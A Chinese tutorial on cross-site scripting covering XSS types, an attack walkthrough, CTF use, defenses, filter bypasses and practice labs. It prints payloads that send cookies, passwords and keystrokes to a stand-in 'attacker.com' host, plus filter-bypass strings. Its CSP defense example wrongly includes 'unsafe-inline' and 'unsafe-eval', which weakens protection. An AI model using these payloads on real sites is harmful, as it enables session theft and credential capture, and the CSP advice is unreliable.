当前位置: 首页 > news >正文

XSS攻击(跨站脚本攻击)详解与实战

文章目录

    • 一、什么是XSS?
    • 二、XSS分类与场景
    • 三、XSS攻击实战流程
    • 四、CTF中的XSS利用
    • 五、XSS防御方案
    • 六、绕过过滤的常见技巧
    • 七、实战练习资源

一、什么是XSS?

XSS(Cross-Site Scripting) 是一种通过向网页注入恶意脚本(JavaScript、HTML等),在用户浏览器中执行的攻击方式。攻击者可窃取用户Cookie、会话令牌,甚至控制用户浏览器行为。


二、XSS分类与场景

  1. 存储型XSS(Stored XSS)

    • 特点:恶意脚本永久存储在目标服务器(如评论区、用户资料页)。
    • 影响范围:所有访问受影响页面的用户。
    • 示例
      <script>alert('XSS');</script>  // 提交到评论区,所有用户加载时触发弹窗
      
  2. 反射型XSS(Reflected XSS)

    • 特点:恶意脚本通过URL参数传递,服务端返回时直接嵌入页面。
    • 触发条件:用户需点击构造的恶意链接。
    • 示例
       http://victim.com/search?q=<script>alert(document.cookie)</script>`
      
  3. DOM型XSS(DOM-Based XSS)

    • 特点:漏洞位于客户端JavaScript代码中,不经过服务端处理。

    • 常见场景:通过location.hashdocument.write等动态修改DOM。

    • 示例

      // 假设页面JS代码:document.write(location.hash.substring(1)); 恶意URL:http://victim.com#<img src=x onerror=alert(1)>
      

三、XSS攻击实战流程

目标场景:某博客平台的评论功能存在存储型XSS漏洞。

步骤1:探测注入点

  • 在评论区提交测试Payload:

    <script>alert(1)</script>
    
  • 若页面弹窗,确认漏洞存在。

步骤2:窃取用户Cookie

  • 构造Payload将Cookie发送至攻击者服务器:

    <script>   fetch('http://attacker.com/steal?cookie=' + document.cookie); </script>
    
  • 攻击者服务器(attacker.com)记录窃取的Cookie,用于会话劫持。

步骤3:钓鱼攻击

  • 伪造登录表单诱导用户输入密码:

    <div style="display:none" id="phish">   <form action="http://attacker.com/log" method="POST">     <input type="password" name="password">     <input type="submit" value="Login">   </form> </div> <script>document.getElementById('phish').style.display='block';</script>
    

步骤4:键盘记录

  • 监听用户输入并回传数据:

    <script>document.addEventListener('keypress', (e) => {    fetch('http://attacker.com/keylog?key=' + e.key);  }); </script>
    

四、CTF中的XSS利用

  1. 窃取管理员Cookie获取Flag

    • 题目场景:留言板存在XSS,管理员会查看留言。

    • Payload:

      <script>location.href = 'http://attacker.com/?flag=' + document.cookie; </script>
      
    • 攻击者服务器接收管理员Cookie中的Flag。

  2. DOM型XSS绕过过滤

    • 题目过滤了<script>标签,但允许img标签:

      <img src=x onerror="alert(1)">
      
    • 利用事件处理器(如onerroronload)执行代码。

  3. 利用伪协议

    • 通过javascript:协议触发XSS:

      http://victim.com/profile?name=<a href="javascript:alert(1)">Click</a>
      

五、XSS防御方案

  1. 输入过滤与输出编码

    • 对用户输入的特殊字符(<, >, &, ', ")进行HTML实体编码:

      // PHP示例 
      echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
      
    • 避免直接使用innerHTML,优先使用textContent

  2. 内容安全策略(CSP)

    • 通过HTTP头限制脚本来源:

      Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline' 'unsafe-eval'
      
  3. 设置HttpOnly标志

    • Cookie中标记HttpOnly,防止JavaScript读取:

      Set-Cookie: session=abc123; HttpOnly; Secure
      
  4. 框架自动防护

    • 使用现代前端框架(如React、Vue),默认对动态内容进行转义。

六、绕过过滤的常见技巧

  1. 大小写混淆

    <ScRiPt>alert(1)</sCriPt>
    
  2. 编码绕过

    • HTML实体编码:

      <img src=x onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;">
      
    • JavaScript Unicode编码:

      \u0061\u006c\u0065\u0072\u0074(1)
      
  3. 利用标签属性

    <svg/onload=alert(1)> <iframe src="javascript:alert(1)">
    

七、实战练习资源

  1. PortSwigger XSS Labs
    • 地址:https://portswigger.net/web-security/cross-site-scripting
  2. XSS挑战游戏
    • XSS Game(Google):https://xss-game.appspot.com
  3. CTF平台
    • Hack The Box, CTFlearn中的Web题目。

总结:XSS攻击的核心在于控制用户浏览器执行恶意脚本。防御需结合输入过滤、输出编码、CSP等多层措施。在CTF中,灵活构造Payload并理解上下文过滤规则是解题关键。

http://www.lryc.cn/news/538600.html

相关文章:

  • 【C++指南】类和对象(十):const成员函数
  • 数值分析与科学计算导引——误差与算法举例
  • ubuntu安装docker 无法拉取问题
  • 【C++项目】Rpc通信框架设计
  • 八股取士--dockerk8s
  • Autojs: 使用 SQLite
  • 思科、华为、H3C常用命令对照表
  • 解决 `pip is configured with locations that require TLS/SSL` 错误
  • 2025-arXiv-OmniThink:通过思考扩展机器写作的知识边界
  • 【广州大学主办,发表有保障 | IEEE出版,稳定EI检索,往届见刊后快至1个月检索】第二届电气技术与自动化工程国际学术会议 (ETAE 2025)
  • 机器学习:01数学基础教程
  • 仿叮咚买菜鸿蒙原生APP
  • WordPress“更新失败,响应不是有效的JSON响应”问题的修复
  • kotlin的onFailure: () -> Unit
  • 通过网线将Keysight DSOX4154A示波器信号传输至电脑的Step
  • midjourney 一 prompt 提示词
  • 微信小程序 - 网络请求基础路径集中管理(基础路径集中管理策略、动态切换基础路径)
  • C#的委托delegate与事件event
  • apache artemis安装
  • Lightning基础训练尝试实例
  • osgearth视点坐标及鼠标交点坐标的信息显示(七)
  • 动态规划 之 背包问题
  • 【Azure 架构师学习笔记】- Azure Databricks (11) -- UC搭建
  • RTMP(Real-Time Messaging Protocol)
  • docker容器部署jar应用导入文件时候报缺少字体错误解决
  • 贪吃蛇解析
  • vue非组件的初学笔记
  • LeetCode 热题 100_单词搜索(60_79_中等_C++)(深度优先搜索(回溯))(初始化二维vector的大小)
  • js闭包,跨域
  • 算法练习(力扣-BFS)——102. 二叉树的层序遍历